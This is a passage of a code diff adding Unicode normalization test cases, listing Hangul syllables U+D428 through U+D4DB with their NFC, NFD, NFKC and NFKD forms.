+{ source: [0xD428], NFC: [0xD428], NFD: [0x1111, 0x116B, 0x11AB], NFKC: [0xD428], NFKD: [0x1111, 0x116B, 0x11AB] },
+{ source: [0xD429], NFC: [0xD429], NFD: [0x1111, 0x116B, 0x11AC], NFKC: [0xD429], NFKD: [0x1111, 0x116B, 0x11AC] },
+{ source: [0xD42A], NFC: [0xD42A], NFD: [0x1111, 0x116B, 0x11AD], NFKC: [0xD42A], NFKD: [0x1111, 0x116B, 0x11AD] },
+{ source: [0xD42B], NFC: [0xD42B], NFD: [0x1111, 0x116B, 0x11AE], NFKC: [0xD42B], NFKD: [0x1111, 0x116B, 0x11AE] },
+{ source: [0xD42C], NFC: [0xD42C], NFD: [0x1111, 0x116B, 0x11AF], NFKC: [0xD42C], NFKD: [0x1111, 0x116B, 0x11AF] },
+{ source: [0xD42D], NFC: [0xD42D], NFD: [0x1111, 0x116B, 0x11B0], NFKC: [0xD42D], NFKD: [0x1111, 0x116B, 0x11B0] },
+{ source: [0xD42E], NFC: [0xD42E], NFD: [0x1111, 0x116B, 0x11B1], NFKC: [0xD42E], NFKD: [0x1111, 0x116B, 0x11B1] },
+{ source: [0xD42F], NFC: [0xD42F], NFD: [0x1111, 0x116B, 0x11B2], NFKC: [0xD42F], NFKD: [0x1111, 0x116B, 0x11B2] },
+{ source: [0xD430], NFC: [0xD430], NFD: [0x1111, 0x116B, 0x11B3], NFKC: [0xD430], NFKD: [0x1111, 0x116B, 0x11B3] },
+{ source: [0xD431], NFC: [0xD431], NFD: [0x1111, 0x116B, 0x11B4], NFKC: [0xD431], NFKD: [0x1111, 0x116B, 0x11B4] },
+{ source: [0xD432], NFC: [0xD432], NFD: [0x1111, 0x116B, 0x11B5], NFKC: [0xD432], NFKD: [0x1111, 0x116B, 0x11B5] },
+{ source: [0xD433], NFC: [0xD433], NFD: [0x1111, 0x116B, 0x11B6], NFKC: [0xD433], NFKD: [0x1111, 0x116B, 0x11B6] },
+{ source: [0xD434], NFC: [0xD434], NFD: [0x1111, 0x116B, 0x11B7], NFKC: [0xD434], NFKD: [0x1111, 0x116B, 0x11B7] },
+{ source: [0xD435], NFC: [0xD435], NFD: [0x1111, 0x116B, 0x11B8], NFKC: [0xD435], NFKD: [0x1111, 0x116B, 0x11B8] },
+{ source: [0xD436], NFC: [0xD436], NFD: [0x1111, 0x116B, 0x11B9], NFKC: [0xD436], NFKD: [0x1111, 0x116B, 0x11B9] },
+{ source: [0xD437], NFC: [0xD437], NFD: [0x1111, 0x116B, 0x11BA], NFKC: [0xD437], NFKD: [0x1111, 0x116B, 0x11BA] },
+{ source: [0xD438], NFC: [0xD438], NFD: [0x1111, 0x116B, 0x11BB], NFKC: [0xD438], NFKD: [0x1111, 0x116B, 0x11BB] },
+{ source: [0xD439], NFC: [0xD439], NFD: [0x1111, 0x116B, 0x11BC], NFKC: [0xD439], NFKD: [0x1111, 0x116B, 0x11BC] },
+{ source: [0xD43A], NFC: [0xD43A], NFD: [0x1111, 0x116B, 0x11BD], NFKC: [0xD43A], NFKD: [0x1111, 0x116B, 0x11BD] },
+{ source: [0xD43B], NFC: [0xD43B], NFD: [0x1111, 0x116B, 0x11BE], NFKC: [0xD43B], NFKD: [0x1111, 0x116B, 0x11BE] },
+{ source: [0xD43C], NFC: [0xD43C], NFD: [0x1111, 0x116B, 0x11BF], NFKC: [0xD43C], NFKD: [0x1111, 0x116B, 0x11BF] },
+{ source: [0xD43D], NFC: [0xD43D], NFD: [0x1111, 0x116B, 0x11C0], NFKC: [0xD43D], NFKD: [0x1111, 0x116B, 0x11C0] },
+{ source: [0xD43E], NFC: [0xD43E], NFD: [0x1111, 0x116B, 0x11C1], NFKC: [0xD43E], NFKD: [0x1111, 0x116B, 0x11C1] },
+{ source: [0xD43F], NFC: [0xD43F], NFD: [0x1111, 0x116B, 0x11C2], NFKC: [0xD43F], NFKD: [0x1111, 0x116B, 0x11C2] },
+{ source: [0xD440], NFC: [0xD440], NFD: [0x1111, 0x116C], NFKC: [0xD440], NFKD: [0x1111, 0x116C] },
+{ source: [0xD441], NFC: [0xD441], NFD: [0x1111, 0x116C, 0x11A8], NFKC: [0xD441], NFKD: [0x1111, 0x116C, 0x11A8] },
+{ source: [0xD442], NFC: [0xD442], NFD: [0x1111, 0x116C, 0x11A9], NFKC: [0xD442], NFKD: [0x1111, 0x116C, 0x11A9] },
+{ source: [0xD443], NFC: [0xD443], NFD: [0x1111, 0x116C, 0x11AA], NFKC: [0xD443], NFKD: [0x1111, 0x116C, 0x11AA] },
+{ source: [0xD444], NFC: [0xD444], NFD: [0x1111, 0x116C, 0x11AB], NFKC: [0xD444], NFKD: [0x1111, 0x116C, 0x11AB] },
+{ source: [0xD445], NFC: [0xD445], NFD: [0x1111, 0x116C, 0x11AC], NFKC: [0xD445], NFKD: [0x1111, 0x116C, 0x11AC] },
+{ source: [0xD446], NFC: [0xD446], NFD: [0x1111, 0x116C, 0x11AD], NFKC: [0xD446], NFKD: [0x1111, 0x116C, 0x11AD] },
+{ source: [0xD447], NFC: [0xD447], NFD: [0x1111, 0x116C, 0x11AE], NFKC: [0xD447], NFKD: [0x1111, 0x116C, 0x11AE] },
+{ source: [0xD448], NFC: [0xD448], NFD: [0x1111, 0x116C, 0x11AF], NFKC: [0xD448], NFKD: [0x1111, 0x116C, 0x11AF] },
+{ source: [0xD449], NFC: [0xD449], NFD: [0x1111, 0x116C, 0x11B0], NFKC: [0xD449], NFKD: [0x1111, 0x116C, 0x11B0] },
+{ source: [0xD44A], NFC: [0xD44A], NFD: [0x1111, 0x116C, 0x11B1], NFKC: [0xD44A], NFKD: [0x1111, 0x116C, 0x11B1] },
+{ source: [0xD44B], NFC: [0xD44B], NFD: [0x1111, 0x116C, 0x11B2], NFKC: [0xD44B], NFKD: [0x1111, 0x116C, 0x11B2] },
+{ source: [0xD44C], NFC: [0xD44C], NFD: [0x1111, 0x116C, 0x11B3], NFKC: [0xD44C], NFKD: [0x1111, 0x116C, 0x11B3] },
+{ source: [0xD44D], NFC: [0xD44D], NFD: [0x1111, 0x116C, 0x11B4], NFKC: [0xD44D], NFKD: [0x1111, 0x116C, 0x11B4] },
+{ source: [0xD44E], NFC: [0xD44E], NFD: [0x1111, 0x116C, 0x11B5], NFKC: [0xD44E], NFKD: [0x1111, 0x116C, 0x11B5] },
+{ source: [0xD44F], NFC: [0xD44F], NFD: [0x1111, 0x116C, 0x11B6], NFKC: [0xD44F], NFKD: [0x1111, 0x116C, 0x11B6] },
+{ source: [0xD450], NFC: [0xD450], NFD: [0x1111, 0x116C, 0x11B7], NFKC: [0xD450], NFKD: [0x1111, 0x116C, 0x11B7] },
+{ source: [0xD451], NFC: [0xD451], NFD: [0x1111, 0x116C, 0x11B8], NFKC: [0xD451], NFKD: [0x1111, 0x116C, 0x11B8] },
+{ source: [0xD452], NFC: [0xD452], NFD: [0x1111, 0x116C, 0x11B9], NFKC: [0xD452], NFKD: [0x1111, 0x116C, 0x11B9] },
+{ source: [0xD453], NFC: [0xD453], NFD: [0x1111, 0x116C, 0x11BA], NFKC: [0xD453], NFKD: [0x1111, 0x116C, 0x11BA] },
+{ source: [0xD454], NFC: [0xD454], NFD: [0x1111, 0x116C, 0x11BB], NFKC: [0xD454], NFKD: [0x1111, 0x116C, 0x11BB] },
+{ source: [0xD455], NFC: [0xD455], NFD: [0x1111, 0x116C, 0x11BC], NFKC: [0xD455], NFKD: [0x1111, 0x116C, 0x11BC] },
+{ source: [0xD456], NFC: [0xD456], NFD: [0x1111, 0x116C, 0x11BD], NFKC: [0xD456], NFKD: [0x1111, 0x116C, 0x11BD] },
+{ source: [0xD457], NFC: [0xD457], NFD: [0x1111, 0x116C, 0x11BE], NFKC: [0xD457], NFKD: [0x1111, 0x116C, 0x11BE] },
+{ source: [0xD458], NFC: [0xD458], NFD: [0x1111, 0x116C, 0x11BF], NFKC: [0xD458], NFKD: [0x1111, 0x116C, 0x11BF] },
+{ source: [0xD459], NFC: [0xD459], NFD: [0x1111, 0x116C, 0x11C0], NFKC: [0xD459], NFKD: [0x1111, 0x116C, 0x11C0] },
+{ source: [0xD45A], NFC: [0xD45A], NFD: [0x1111, 0x116C, 0x11C1], NFKC: [0xD45A], NFKD: [0x1111, 0x116C, 0x11C1] },
+{ source: [0xD45B], NFC: [0xD45B], NFD: [0x1111, 0x116C, 0x11C2], NFKC: [0xD45B], NFKD: [0x1111, 0x116C, 0x11C2] },
+{ source: [0xD45C], NFC: [0xD45C], NFD: [0x1111, 0x116D], NFKC: [0xD45C], NFKD: [0x1111, 0x116D] },
+{ source: [0xD45D], NFC: [0xD45D], NFD: [0x1111, 0x116D, 0x11A8], NFKC: [0xD45D], NFKD: [0x1111, 0x116D, 0x11A8] },
+{ source: [0xD45E], NFC: [0xD45E], NFD: [0x1111, 0x116D, 0x11A9], NFKC: [0xD45E], NFKD: [0x1111, 0x116D, 0x11A9] },
+{ source: [0xD45F], NFC: [0xD45F], NFD: [0x1111, 0x116D, 0x11AA], NFKC: [0xD45F], NFKD: [0x1111, 0x116D, 0x11AA] },
+{ source: [0xD460], NFC: [0xD460], NFD: [0x1111, 0x116D, 0x11AB], NFKC: [0xD460], NFKD: [0x1111, 0x116D, 0x11AB] },
+{ source: [0xD461], NFC: [0xD461], NFD: [0x1111, 0x116D, 0x11AC], NFKC: [0xD461], NFKD: [0x1111, 0x116D, 0x11AC] },
+{ source: [0xD462], NFC: [0xD462], NFD: [0x1111, 0x116D, 0x11AD], NFKC: [0xD462], NFKD: [0x1111, 0x116D, 0x11AD] },
+{ source: [0xD463], NFC: [0xD463], NFD: [0x1111, 0x116D, 0x11AE], NFKC: [0xD463], NFKD: [0x1111, 0x116D, 0x11AE] },
+{ source: [0xD464], NFC: [0xD464], NFD: [0x1111, 0x116D, 0x11AF], NFKC: [0xD464], NFKD: [0x1111, 0x116D, 0x11AF] },
+{ source: [0xD465], NFC: [0xD465], NFD: [0x1111, 0x116D, 0x11B0], NFKC: [0xD465], NFKD: [0x1111, 0x116D, 0x11B0] },
+{ source: [0xD466], NFC: [0xD466], NFD: [0x1111, 0x116D, 0x11B1], NFKC: [0xD466], NFKD: [0x1111, 0x116D, 0x11B1] },
+{ source: [0xD467], NFC: [0xD467], NFD: [0x1111, 0x116D, 0x11B2], NFKC: [0xD467], NFKD: [0x1111, 0x116D, 0x11B2] },
+{ source: [0xD468], NFC: [0xD468], NFD: [0x1111, 0x116D, 0x11B3], NFKC: [0xD468], NFKD: [0x1111, 0x116D, 0x11B3] },
+{ source: [0xD469], NFC: [0xD469], NFD: [0x1111, 0x116D, 0x11B4], NFKC: [0xD469], NFKD: [0x1111, 0x116D, 0x11B4] },
+{ source: [0xD46A], NFC: [0xD46A], NFD: [0x1111, 0x116D, 0x11B5], NFKC: [0xD46A], NFKD: [0x1111, 0x116D, 0x11B5] },
+{ source: [0xD46B], NFC: [0xD46B], NFD: [0x1111, 0x116D, 0x11B6], NFKC: [0xD46B], NFKD: [0x1111, 0x116D, 0x11B6] },
+{ source: [0xD46C], NFC: [0xD46C], NFD: [0x1111, 0x116D, 0x11B7], NFKC: [0xD46C], NFKD: [0x1111, 0x116D, 0x11B7] },
+{ source: [0xD46D], NFC: [0xD46D], NFD: [0x1111, 0x116D, 0x11B8], NFKC: [0xD46D], NFKD: [0x1111, 0x116D, 0x11B8] },
+{ source: [0xD46E], NFC: [0xD46E], NFD: [0x1111, 0x116D, 0x11B9], NFKC: [0xD46E], NFKD: [0x1111, 0x116D, 0x11B9] },
+{ source: [0xD46F], NFC: [0xD46F], NFD: [0x1111, 0x116D, 0x11BA], NFKC: [0xD46F], NFKD: [0x1111, 0x116D, 0x11BA] },
+{ source: [0xD470], NFC: [0xD470], NFD: [0x1111, 0x116D, 0x11BB], NFKC: [0xD470], NFKD: [0x1111, 0x116D, 0x11BB] },
+{ source: [0xD471], NFC: [0xD471], NFD: [0x1111, 0x116D, 0x11BC], NFKC: [0xD471], NFKD: [0x1111, 0x116D, 0x11BC] },
+{ source: [0xD472], NFC: [0xD472], NFD: [0x1111, 0x116D, 0x11BD], NFKC: [0xD472], NFKD: [0x1111, 0x116D, 0x11BD] },
+{ source: [0xD473], NFC: [0xD473], NFD: [0x1111, 0x116D, 0x11BE], NFKC: [0xD473], NFKD: [0x1111, 0x116D, 0x11BE] },
+{ source: [0xD474], NFC: [0xD474], NFD: [0x1111, 0x116D, 0x11BF], NFKC: [0xD474], NFKD: [0x1111, 0x116D, 0x11BF] },
+{ source: [0xD475], NFC: [0xD475], NFD: [0x1111, 0x116D, 0x11C0], NFKC: [0xD475], NFKD: [0x1111, 0x116D, 0x11C0] },
+{ source: [0xD476], NFC: [0xD476], NFD: [0x1111, 0x116D, 0x11C1], NFKC: [0xD476], NFKD: [0x1111, 0x116D, 0x11C1] },
+{ source: [0xD477], NFC: [0xD477], NFD: [0x1111, 0x116D, 0x11C2], NFKC: [0xD477], NFKD: [0x1111, 0x116D, 0x11C2] },
+{ source: [0xD478], NFC: [0xD478], NFD: [0x1111, 0x116E], NFKC: [0xD478], NFKD: [0x1111, 0x116E] },
+{ source: [0xD479], NFC: [0xD479], NFD: [0x1111, 0x116E, 0x11A8], NFKC: [0xD479], NFKD: [0x1111, 0x116E, 0x11A8] },
+{ source: [0xD47A], NFC: [0xD47A], NFD: [0x1111, 0x116E, 0x11A9], NFKC: [0xD47A], NFKD: [0x1111, 0x116E, 0x11A9] },
+{ source: [0xD47B], NFC: [0xD47B], NFD: [0x1111, 0x116E, 0x11AA], NFKC: [0xD47B], NFKD: [0x1111, 0x116E, 0x11AA] },
+{ source: [0xD47C], NFC: [0xD47C], NFD: [0x1111, 0x116E, 0x11AB], NFKC: [0xD47C], NFKD: [0x1111, 0x116E, 0x11AB] },
+{ source: [0xD47D], NFC: [0xD47D], NFD: [0x1111, 0x116E, 0x11AC], NFKC: [0xD47D], NFKD: [0x1111, 0x116E, 0x11AC] },
+{ source: [0xD47E], NFC: [0xD47E], NFD: [0x1111, 0x116E, 0x11AD], NFKC: [0xD47E], NFKD: [0x1111, 0x116E, 0x11AD] },
+{ source: [0xD47F], NFC: [0xD47F], NFD: [0x1111, 0x116E, 0x11AE], NFKC: [0xD47F], NFKD: [0x1111, 0x116E, 0x11AE] },
+{ source: [0xD480], NFC: [0xD480], NFD: [0x1111, 0x116E, 0x11AF], NFKC: [0xD480], NFKD: [0x1111, 0x116E, 0x11AF] },
+{ source: [0xD481], NFC: [0xD481], NFD: [0x1111, 0x116E, 0x11B0], NFKC: [0xD481], NFKD: [0x1111, 0x116E, 0x11B0] },
+{ source: [0xD482], NFC: [0xD482], NFD: [0x1111, 0x116E, 0x11B1], NFKC: [0xD482], NFKD: [0x1111, 0x116E, 0x11B1] },
+{ source: [0xD483], NFC: [0xD483], NFD: [0x1111, 0x116E, 0x11B2], NFKC: [0xD483], NFKD: [0x1111, 0x116E, 0x11B2] },
+{ source: [0xD484], NFC: [0xD484], NFD: [0x1111, 0x116E, 0x11B3], NFKC: [0xD484], NFKD: [0x1111, 0x116E, 0x11B3] },
+{ source: [0xD485], NFC: [0xD485], NFD: [0x1111, 0x116E, 0x11B4], NFKC: [0xD485], NFKD: [0x1111, 0x116E, 0x11B4] },
+{ source: [0xD486], NFC: [0xD486], NFD: [0x1111, 0x116E, 0x11B5], NFKC: [0xD486], NFKD: [0x1111, 0x116E, 0x11B5] },
+{ source: [0xD487], NFC: [0xD487], NFD: [0x1111, 0x116E, 0x11B6], NFKC: [0xD487], NFKD: [0x1111, 0x116E, 0x11B6] },
+{ source: [0xD488], NFC: [0xD488], NFD: [0x1111, 0x116E, 0x11B7], NFKC: [0xD488], NFKD: [0x1111, 0x116E, 0x11B7] },
+{ source: [0xD489], NFC: [0xD489], NFD: [0x1111, 0x116E, 0x11B8], NFKC: [0xD489], NFKD: [0x1111, 0x116E, 0x11B8] },
+{ source: [0xD48A], NFC: [0xD48A], NFD: [0x1111, 0x116E, 0x11B9], NFKC: [0xD48A], NFKD: [0x1111, 0x116E, 0x11B9] },
+{ source: [0xD48B], NFC: [0xD48B], NFD: [0x1111, 0x116E, 0x11BA], NFKC: [0xD48B], NFKD: [0x1111, 0x116E, 0x11BA] },
+{ source: [0xD48C], NFC: [0xD48C], NFD: [0x1111, 0x116E, 0x11BB], NFKC: [0xD48C], NFKD: [0x1111, 0x116E, 0x11BB] },
+{ source: [0xD48D], NFC: [0xD48D], NFD: [0x1111, 0x116E, 0x11BC], NFKC: [0xD48D], NFKD: [0x1111, 0x116E, 0x11BC] },
+{ source: [0xD48E], NFC: [0xD48E], NFD: [0x1111, 0x116E, 0x11BD], NFKC: [0xD48E], NFKD: [0x1111, 0x116E, 0x11BD] },
+{ source: [0xD48F], NFC: [0xD48F], NFD: [0x1111, 0x116E, 0x11BE], NFKC: [0xD48F], NFKD: [0x1111, 0x116E, 0x11BE] },
+{ source: [0xD490], NFC: [0xD490], NFD: [0x1111, 0x116E, 0x11BF], NFKC: [0xD490], NFKD: [0x1111, 0x116E, 0x11BF] },
+{ source: [0xD491], NFC: [0xD491], NFD: [0x1111, 0x116E, 0x11C0], NFKC: [0xD491], NFKD: [0x1111, 0x116E, 0x11C0] },
+{ source: [0xD492], NFC: [0xD492], NFD: [0x1111, 0x116E, 0x11C1], NFKC: [0xD492], NFKD: [0x1111, 0x116E, 0x11C1] },
+{ source: [0xD493], NFC: [0xD493], NFD: [0x1111, 0x116E, 0x11C2], NFKC: [0xD493], NFKD: [0x1111, 0x116E, 0x11C2] },
+{ source: [0xD494], NFC: [0xD494], NFD: [0x1111, 0x116F], NFKC: [0xD494], NFKD: [0x1111, 0x116F] },
+{ source: [0xD495], NFC: [0xD495], NFD: [0x1111, 0x116F, 0x11A8], NFKC: [0xD495], NFKD: [0x1111, 0x116F, 0x11A8] },
+{ source: [0xD496], NFC: [0xD496], NFD: [0x1111, 0x116F, 0x11A9], NFKC: [0xD496], NFKD: [0x1111, 0x116F, 0x11A9] },
+{ source: [0xD497], NFC: [0xD497], NFD: [0x1111, 0x116F, 0x11AA], NFKC: [0xD497], NFKD: [0x1111, 0x116F, 0x11AA] },
+{ source: [0xD498], NFC: [0xD498], NFD: [0x1111, 0x116F, 0x11AB], NFKC: [0xD498], NFKD: [0x1111, 0x116F, 0x11AB] },
+{ source: [0xD499], NFC: [0xD499], NFD: [0x1111, 0x116F, 0x11AC], NFKC: [0xD499], NFKD: [0x1111, 0x116F, 0x11AC] },
+{ source: [0xD49A], NFC: [0xD49A], NFD: [0x1111, 0x116F, 0x11AD], NFKC: [0xD49A], NFKD: [0x1111, 0x116F, 0x11AD] },
+{ source: [0xD49B], NFC: [0xD49B], NFD: [0x1111, 0x116F, 0x11AE], NFKC: [0xD49B], NFKD: [0x1111, 0x116F, 0x11AE] },
+{ source: [0xD49C], NFC: [0xD49C], NFD: [0x1111, 0x116F, 0x11AF], NFKC: [0xD49C], NFKD: [0x1111, 0x116F, 0x11AF] },
+{ source: [0xD49D], NFC: [0xD49D], NFD: [0x1111, 0x116F, 0x11B0], NFKC: [0xD49D], NFKD: [0x1111, 0x116F, 0x11B0] },
+{ source: [0xD49E], NFC: [0xD49E], NFD: [0x1111, 0x116F, 0x11B1], NFKC: [0xD49E], NFKD: [0x1111, 0x116F, 0x11B1] },
+{ source: [0xD49F], NFC: [0xD49F], NFD: [0x1111, 0x116F, 0x11B2], NFKC: [0xD49F], NFKD: [0x1111, 0x116F, 0x11B2] },
+{ source: [0xD4A0], NFC: [0xD4A0], NFD: [0x1111, 0x116F, 0x11B3], NFKC: [0xD4A0], NFKD: [0x1111, 0x116F, 0x11B3] },
+{ source: [0xD4A1], NFC: [0xD4A1], NFD: [0x1111, 0x116F, 0x11B4], NFKC: [0xD4A1], NFKD: [0x1111, 0x116F, 0x11B4] },
+{ source: [0xD4A2], NFC: [0xD4A2], NFD: [0x1111, 0x116F, 0x11B5], NFKC: [0xD4A2], NFKD: [0x1111, 0x116F, 0x11B5] },
+{ source: [0xD4A3], NFC: [0xD4A3], NFD: [0x1111, 0x116F, 0x11B6], NFKC: [0xD4A3], NFKD: [0x1111, 0x116F, 0x11B6] },
+{ source: [0xD4A4], NFC: [0xD4A4], NFD: [0x1111, 0x116F, 0x11B7], NFKC: [0xD4A4], NFKD: [0x1111, 0x116F, 0x11B7] },
+{ source: [0xD4A5], NFC: [0xD4A5], NFD: [0x1111, 0x116F, 0x11B8], NFKC: [0xD4A5], NFKD: [0x1111, 0x116F, 0x11B8] },
+{ source: [0xD4A6], NFC: [0xD4A6], NFD: [0x1111, 0x116F, 0x11B9], NFKC: [0xD4A6], NFKD: [0x1111, 0x116F, 0x11B9] },
+{ source: [0xD4A7], NFC: [0xD4A7], NFD: [0x1111, 0x116F, 0x11BA], NFKC: [0xD4A7], NFKD: [0x1111, 0x116F, 0x11BA] },
+{ source: [0xD4A8], NFC: [0xD4A8], NFD: [0x1111, 0x116F, 0x11BB], NFKC: [0xD4A8], NFKD: [0x1111, 0x116F, 0x11BB] },
+{ source: [0xD4A9], NFC: [0xD4A9], NFD: [0x1111, 0x116F, 0x11BC], NFKC: [0xD4A9], NFKD: [0x1111, 0x116F, 0x11BC] },
+{ source: [0xD4AA], NFC: [0xD4AA], NFD: [0x1111, 0x116F, 0x11BD], NFKC: [0xD4AA], NFKD: [0x1111, 0x116F, 0x11BD] },
+{ source: [0xD4AB], NFC: [0xD4AB], NFD: [0x1111, 0x116F, 0x11BE], NFKC: [0xD4AB], NFKD: [0x1111, 0x116F, 0x11BE] },
+{ source: [0xD4AC], NFC: [0xD4AC], NFD: [0x1111, 0x116F, 0x11BF], NFKC: [0xD4AC], NFKD: [0x1111, 0x116F, 0x11BF] },
+{ source: [0xD4AD], NFC: [0xD4AD], NFD: [0x1111, 0x116F, 0x11C0], NFKC: [0xD4AD], NFKD: [0x1111, 0x116F, 0x11C0] },
+{ source: [0xD4AE], NFC: [0xD4AE], NFD: [0x1111, 0x116F, 0x11C1], NFKC: [0xD4AE], NFKD: [0x1111, 0x116F, 0x11C1] },
+{ source: [0xD4AF], NFC: [0xD4AF], NFD: [0x1111, 0x116F, 0x11C2], NFKC: [0xD4AF], NFKD: [0x1111, 0x116F, 0x11C2] },
+{ source: [0xD4B0], NFC: [0xD4B0], NFD: [0x1111, 0x1170], NFKC: [0xD4B0], NFKD: [0x1111, 0x1170] },
+{ source: [0xD4B1], NFC: [0xD4B1], NFD: [0x1111, 0x1170, 0x11A8], NFKC: [0xD4B1], NFKD: [0x1111, 0x1170, 0x11A8] },
+{ source: [0xD4B2], NFC: [0xD4B2], NFD: [0x1111, 0x1170, 0x11A9], NFKC: [0xD4B2], NFKD: [0x1111, 0x1170, 0x11A9] },
+{ source: [0xD4B3], NFC: [0xD4B3], NFD: [0x1111, 0x1170, 0x11AA], NFKC: [0xD4B3], NFKD: [0x1111, 0x1170, 0x11AA] },
+{ source: [0xD4B4], NFC: [0xD4B4], NFD: [0x1111, 0x1170, 0x11AB], NFKC: [0xD4B4], NFKD: [0x1111, 0x1170, 0x11AB] },
+{ source: [0xD4B5], NFC: [0xD4B5], NFD: [0x1111, 0x1170, 0x11AC], NFKC: [0xD4B5], NFKD: [0x1111, 0x1170, 0x11AC] },
+{ source: [0xD4B6], NFC: [0xD4B6], NFD: [0x1111, 0x1170, 0x11AD], NFKC: [0xD4B6], NFKD: [0x1111, 0x1170, 0x11AD] },
+{ source: [0xD4B7], NFC: [0xD4B7], NFD: [0x1111, 0x1170, 0x11AE], NFKC: [0xD4B7], NFKD: [0x1111, 0x1170, 0x11AE] },
+{ source: [0xD4B8], NFC: [0xD4B8], NFD: [0x1111, 0x1170, 0x11AF], NFKC: [0xD4B8], NFKD: [0x1111, 0x1170, 0x11AF] },
+{ source: [0xD4B9], NFC: [0xD4B9], NFD: [0x1111, 0x1170, 0x11B0], NFKC: [0xD4B9], NFKD: [0x1111, 0x1170, 0x11B0] },
+{ source: [0xD4BA], NFC: [0xD4BA], NFD: [0x1111, 0x1170, 0x11B1], NFKC: [0xD4BA], NFKD: [0x1111, 0x1170, 0x11B1] },
+{ source: [0xD4BB], NFC: [0xD4BB], NFD: [0x1111, 0x1170, 0x11B2], NFKC: [0xD4BB], NFKD: [0x1111, 0x1170, 0x11B2] },
+{ source: [0xD4BC], NFC: [0xD4BC], NFD: [0x1111, 0x1170, 0x11B3], NFKC: [0xD4BC], NFKD: [0x1111, 0x1170, 0x11B3] },
+{ source: [0xD4BD], NFC: [0xD4BD], NFD: [0x1111, 0x1170, 0x11B4], NFKC: [0xD4BD], NFKD: [0x1111, 0x1170, 0x11B4] },
+{ source: [0xD4BE], NFC: [0xD4BE], NFD: [0x1111, 0x1170, 0x11B5], NFKC: [0xD4BE], NFKD: [0x1111, 0x1170, 0x11B5] },
+{ source: [0xD4BF], NFC: [0xD4BF], NFD: [0x1111, 0x1170, 0x11B6], NFKC: [0xD4BF], NFKD: [0x1111, 0x1170, 0x11B6] },
+{ source: [0xD4C0], NFC: [0xD4C0], NFD: [0x1111, 0x1170, 0x11B7], NFKC: [0xD4C0], NFKD: [0x1111, 0x1170, 0x11B7] },
+{ source: [0xD4C1], NFC: [0xD4C1], NFD: [0x1111, 0x1170, 0x11B8], NFKC: [0xD4C1], NFKD: [0x1111, 0x1170, 0x11B8] },
+{ source: [0xD4C2], NFC: [0xD4C2], NFD: [0x1111, 0x1170, 0x11B9], NFKC: [0xD4C2], NFKD: [0x1111, 0x1170, 0x11B9] },
+{ source: [0xD4C3], NFC: [0xD4C3], NFD: [0x1111, 0x1170, 0x11BA], NFKC: [0xD4C3], NFKD: [0x1111, 0x1170, 0x11BA] },
+{ source: [0xD4C4], NFC: [0xD4C4], NFD: [0x1111, 0x1170, 0x11BB], NFKC: [0xD4C4], NFKD: [0x1111, 0x1170, 0x11BB] },
+{ source: [0xD4C5], NFC: [0xD4C5], NFD: [0x1111, 0x1170, 0x11BC], NFKC: [0xD4C5], NFKD: [0x1111, 0x1170, 0x11BC] },
+{ source: [0xD4C6], NFC: [0xD4C6], NFD: [0x1111, 0x1170, 0x11BD], NFKC: [0xD4C6], NFKD: [0x1111, 0x1170, 0x11BD] },
+{ source: [0xD4C7], NFC: [0xD4C7], NFD: [0x1111, 0x1170, 0x11BE], NFKC: [0xD4C7], NFKD: [0x1111, 0x1170, 0x11BE] },
+{ source: [0xD4C8], NFC: [0xD4C8], NFD: [0x1111, 0x1170, 0x11BF], NFKC: [0xD4C8], NFKD: [0x1111, 0x1170, 0x11BF] },
+{ source: [0xD4C9], NFC: [0xD4C9], NFD: [0x1111, 0x1170, 0x11C0], NFKC: [0xD4C9], NFKD: [0x1111, 0x1170, 0x11C0] },
+{ source: [0xD4CA], NFC: [0xD4CA], NFD: [0x1111, 0x1170, 0x11C1], NFKC: [0xD4CA], NFKD: [0x1111, 0x1170, 0x11C1] },
+{ source: [0xD4CB], NFC: [0xD4CB], NFD: [0x1111, 0x1170, 0x11C2], NFKC: [0xD4CB], NFKD: [0x1111, 0x1170, 0x11C2] },
+{ source: [0xD4CC], NFC: [0xD4CC], NFD: [0x1111, 0x1171], NFKC: [0xD4CC], NFKD: [0x1111, 0x1171] },
+{ source: [0xD4CD], NFC: [0xD4CD], NFD: [0x1111, 0x1171, 0x11A8], NFKC: [0xD4CD], NFKD: [0x1111, 0x1171, 0x11A8] },
+{ source: [0xD4CE], NFC: [0xD4CE], NFD: [0x1111, 0x1171, 0x11A9], NFKC: [0xD4CE], NFKD: [0x1111, 0x1171, 0x11A9] },
+{ source: [0xD4CF], NFC: [0xD4CF], NFD: [0x1111, 0x1171, 0x11AA], NFKC: [0xD4CF], NFKD: [0x1111, 0x1171, 0x11AA] },
+{ source: [0xD4D0], NFC: [0xD4D0], NFD: [0x1111, 0x1171, 0x11AB], NFKC: [0xD4D0], NFKD: [0x1111, 0x1171, 0x11AB] },
+{ source: [0xD4D1], NFC: [0xD4D1], NFD: [0x1111, 0x1171, 0x11AC], NFKC: [0xD4D1], NFKD: [0x1111, 0x1171, 0x11AC] },
+{ source: [0xD4D2], NFC: [0xD4D2], NFD: [0x1111, 0x1171, 0x11AD], NFKC: [0xD4D2], NFKD: [0x1111, 0x1171, 0x11AD] },
+{ source: [0xD4D3], NFC: [0xD4D3], NFD: [0x1111, 0x1171, 0x11AE], NFKC: [0xD4D3], NFKD: [0x1111, 0x1171, 0x11AE] },
+{ source: [0xD4D4], NFC: [0xD4D4], NFD: [0x1111, 0x1171, 0x11AF], NFKC: [0xD4D4], NFKD: [0x1111, 0x1171, 0x11AF] },
+{ source: [0xD4D5], NFC: [0xD4D5], NFD: [0x1111, 0x1171, 0x11B0], NFKC: [0xD4D5], NFKD: [0x1111, 0x1171, 0x11B0] },
+{ source: [0xD4D6], NFC: [0xD4D6], NFD: [0x1111, 0x1171, 0x11B1], NFKC: [0xD4D6], NFKD: [0x1111, 0x1171, 0x11B1] },
+{ source: [0xD4D7], NFC: [0xD4D7], NFD: [0x1111, 0x1171, 0x11B2], NFKC: [0xD4D7], NFKD: [0x1111, 0x1171, 0x11B2] },
+{ source: [0xD4D8], NFC: [0xD4D8], NFD: [0x1111, 0x1171, 0x11B3], NFKC: [0xD4D8], NFKD: [0x1111, 0x1171, 0x11B3] },
+{ source: [0xD4D9], NFC: [0xD4D9], NFD: [0x1111, 0x1171, 0x11B4], NFKC: [0xD4D9], NFKD: [0x1111, 0x1171, 0x11B4] },
+{ source: [0xD4DA], NFC: [0xD4DA], NFD: [0x1111, 0x1171, 0x11B5], NFKC: [0xD4DA], NFKD: [0x1111, 0x1171, 0x11B5] },
+{ source: [0xD4DB], NFC: [0xD4DB], NFD: [0x1111, 0x1171, 0x11B6], NFKC: [0xD4DB], NFKD: [0x1111, 0x1171, 0x11B6] },
